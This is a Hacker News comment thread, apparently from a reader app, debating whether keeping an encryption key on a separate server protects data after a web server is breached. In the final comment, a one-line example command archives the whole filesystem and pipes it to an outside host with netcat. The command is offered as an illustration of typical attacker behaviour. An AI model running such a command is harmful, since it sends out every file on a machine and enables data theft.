Hacker News Reader

Comment by Axsuul | Hacker News Reader

Depends on the attack. If the key used to encrypt the data is stored on another server and loaded into memory when the application is initialized, then the attackers technically wouldn't be able to get access to that key unless they also hacked the server with the key.

View on HN

sure for some attacks it might help, but ultimately if someone has compromised your server, that server is likely to have the ability to load the key to decrypt the data.

For example to handle the case of unattended server reboot, you'd be likely to have the server have a script to load the key back into memory. Attacker gets shell access, they get the script, they get the key...

Security is always a trade-off and people tend not to engineer their webapps with the assumption that they'll be breached in specific ways.

I don't see how that protects anything, if the information is around for the webserver to use it's around for whoever has root on your box.

It would still protect against attacks that don't involve having root access to the box (i.e. Ashley Madison data breach)

If your entire box running with source is compromised, could you not just edit whichever file pulls the key to also dump it to a file on start .?

In the vast majority of hacks, the attacker doesn't take the time to manually debug where the source code pulls in keys to put an echo/puts/print statement in place, and non-PHP languages in general require a restart of the app server in order to pick up the source change, potentially triggering NOC alerts. I can't remember seeing a hack go any differently than someone running

    tar czf - / | nc example.org 1234

and exploring the dumped server offline, only going back if the initial dump didn't raise alarms and the RCE is easy enough to trigger.

Reply on news.ycombinator.com